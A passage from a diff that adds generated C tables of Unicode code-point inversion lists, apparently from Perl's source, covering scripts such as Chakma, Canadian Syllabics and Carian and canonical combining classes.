+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180E,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x200B,
+	0x2010,
+	0x202A,
+	0x202F,
+	0x2060,
+	0x2070,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xF900,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFC,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA0,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D173,
+	0x1D17B,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_CAKM_invlist[] = { /* for all charsets */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9E6,
+	0x9F0,
+	0x1040,
+	0x104A,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144
+};
+
+static const UV PL_CANS_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1400,
+	0x1680,
+	0x18B0,
+	0x18F6
+};
+
+static const UV PL_CARI_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x102A0,
+	0x102D1
+};
+
+static const UV PL_CCC__0_invlist[] = { /* for all charsets */
+	337,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x300,
+	0x34F,
+	0x350,
+	0x370,
+	0x483,
+	0x488,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x610,
+	0x61B,
+	0x64B,
+	0x660,
+	0x670,
+	0x671,
+	0x6D6,
+	0x6DD,
+	0x6DF,
+	0x6E5,
+	0x6E7,
+	0x6E9,
+	0x6EA,
+	0x6EE,
+	0x711,
+	0x712,
+	0x730,
+	0x74B,
+	0x7EB,
+	0x7F4,
+	0x816,
+	0x81A,
+	0x81B,
+	0x824,
+	0x825,
+	0x828,
+	0x829,
+	0x82E,
+	0x859,
+	0x85C,
+	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x900,
+	0x93C,
+	0x93D,
+	0x94D,
+	0x94E,
+	0x951,
+	0x955,
+	0x9BC,
+	0x9BD,
+	0x9CD,
+	0x9CE,
+	0xA3C,
+	0xA3D,
+	0xA4D,
+	0xA4E,
+	0xABC,
+	0xABD,
+	0xACD,
+	0xACE,
+	0xB3C,
+	0xB3D,
+	0xB4D,
+	0xB4E,
+	0xBCD,
+	0xBCE,
+	0xC4D,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xCBC,
+	0xCBD,
+	0xCCD,
+	0xCCE,
+	0xD3B,
+	0xD3D,
+	0xD4D,
+	0xD4E,
+	0xDCA,
+	0xDCB,
+	0xE38,
+	0xE3B,
+	0xE48,
+	0xE4C,
+	0xEB8,
+	0xEBA,
+	0xEC8,
+	0xECC,
+	0xF18,
+	0xF1A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF71,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF7E,
+	0xF80,
+	0xF81,
+	0xF82,
+	0xF85,
+	0xF86,
+	0xF88,
+	0xFC6,
+	0xFC7,
+	0x1037,
+	0x1038,
+	0x1039,
+	0x103B,
+	0x108D,
+	0x108E,
+	0x135D,
+	0x1360,
+	0x1714,
+	0x1715,
+	0x1734,
+	0x1735,
+	0x17D2,
+	0x17D3,
+	0x17DD,
+	0x17DE,
+	0x18A9,
+	0x18AA,
+	0x1939,
+	0x193C,
+	0x1A17,
+	0x1A19,
+	0x1A60,
+	0x1A61,
+	0x1A75,
+	0x1A7D,
+	0x1A7F,
+	0x1A80,
+	0x1AB0,
+	0x1ABE,
+	0x1B34,
+	0x1B35,
+	0x1B44,
+	0x1B45,
+	0x1B6B,
+	0x1B74,
+	0x1BAA,
+	0x1BAC,
+	0x1BE6,
+	0x1BE7,
+	0x1BF2,
+	0x1BF4,
+	0x1C37,
+	0x1C38,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CE1,
+	0x1CE2,
+	0x1CE9,
+	0x1CED,
+	0x1CEE,
+	0x1CF4,
+	0x1CF5,
+	0x1CF8,
+	0x1CFA,
+	0x1DC0,
+	0x1DFA,
+	0x1DFB,
+	0x1E00,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
+	0x2CEF,
+	0x2CF2,
+	0x2D7F,
+	0x2D80,
+	0x2DE0,
+	0x2E00,
+	0x302A,
+	0x3030,
+	0x3099,
+	0x309B,
+	0xA66F,
+	0xA670,
+	0xA674,
+	0xA67E,
+	0xA69E,
+	0xA6A0,
+	0xA6F0,
+	0xA6F2,
+	0xA806,
+	0xA807,
+	0xA8C4,
+	0xA8C5,
+	0xA8E0,
+	0xA8F2,
+	0xA92B,
+	0xA92E,
+	0xA953,
+	0xA954,
+	0xA9B3,
+	0xA9B4,
+	0xA9C0,
+	0xA9C1,
+	0xAAB0,
+	0xAAB1,
+	0xAAB2,
+	0xAAB5,
+	0xAAB7,
+	0xAAB9,
+	0xAABE,
+	0xAAC0,
+	0xAAC1,
+	0xAAC2,
+	0xAAF6,
+	0xAAF7,
+	0xABED,
+	0xABEE,
+	0xFB1E,
+	0xFB1F,
+	0xFE20,
+	0xFE30,
+	0x101FD,
+	0x101FE,
+	0x102E0,
+	0x102E1,
+	0x10376,
+	0x1037B,
+	0x10A0D,
+	0x10A0E,
+	0x10A0F,
+	0x10A10,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
+	0x10AE5,
+	0x10AE7,
+	0x11046,
+	0x11047,
+	0x1107F,
+	0x11080,
+	0x110B9,
+	0x110BB,
+	0x11100,
+	0x11103,
+	0x11133,
+	0x11135,
+	0x11173,
+	0x11174,
+	0x111C0,
+	0x111C1,
+	0x111CA,
+	0x111CB,
+	0x11235,
+	0x11237,
+	0x112E9,
+	0x112EB,
+	0x1133C,
+	0x1133D,
+	0x1134D,
+	0x1134E,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11442,
+	0x11443,
+	0x11446,
+	0x11447,
+	0x114C2,
+	0x114C4,
+	0x115BF,
+	0x115C1,
+	0x1163F,
+	0x11640,
+	0x116B6,
+	0x116B8,
+	0x1172B,
+	0x1172C,
+	0x11A34,
+	0x11A35,
+	0x11A47,
+	0x11A48,
+	0x11A99,
+	0x11A9A,
+	0x11C3F,
+	0x11C40,
+	0x11D42,
+	0x11D43,
+	0x11D44,
+	0x11D46,
+	0x16AF0,
+	0x16AF5,
+	0x16B30,
+	0x16B37,
+	0x1BC9E,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E944,
+	0x1E94B
+};
+
+static const UV PL_CCC__1_invlist[] = { /* for all charsets */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x334,
+	0x339,
+	0x1CD4,
+	0x1CD5,
+	0x1CE2,
+	0x1CE9,
+	0x20D2,
+	0x20D4,
+	0x20D8,
+	0x20DB,
+	0x20E5,
+	0x20E7,
+	0x20EA,
+	0x20EC,
+	0x10A39,
+	0x10A3A,
+	0x16AF0,
+	0x16AF5,
+	0x1BC9E,
+	0x1BC9F,
+	0x1D167,
+	0x1D16A
+};
+
+static const UV PL_CCC__10_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B0,
+	0x5B1
+};
+
+static const UV PL_CCC__103_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE38,
+	0xE3A
+};
+
+static const UV PL_CCC__107_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xE48,
+	0xE4C
+};
+
+static const UV PL_CCC__11_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B1,
+	0x5B2
+};
+
+static const UV PL_CCC__118_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xEB8,
+	0xEBA
+};
+
+static const UV PL_CCC__12_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B2,
+	0x5B3
+};
+
+static const UV PL_CCC__122_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xEC8,
+	0xECC
+};
+
+static const UV PL_CCC__129_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF71,
+	0xF72
+};
+
+static const UV PL_CCC__13_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5B3,
+	0x5B4
+};
+
+static const UV PL_CCC__130_invlist[] = { /* for all charsets */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF72,
+	0xF73,
+	0xF7A,
+	0xF7E,
+	0xF80,
+	0xF81
+};
+
+static const UV PL_CCC__132_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
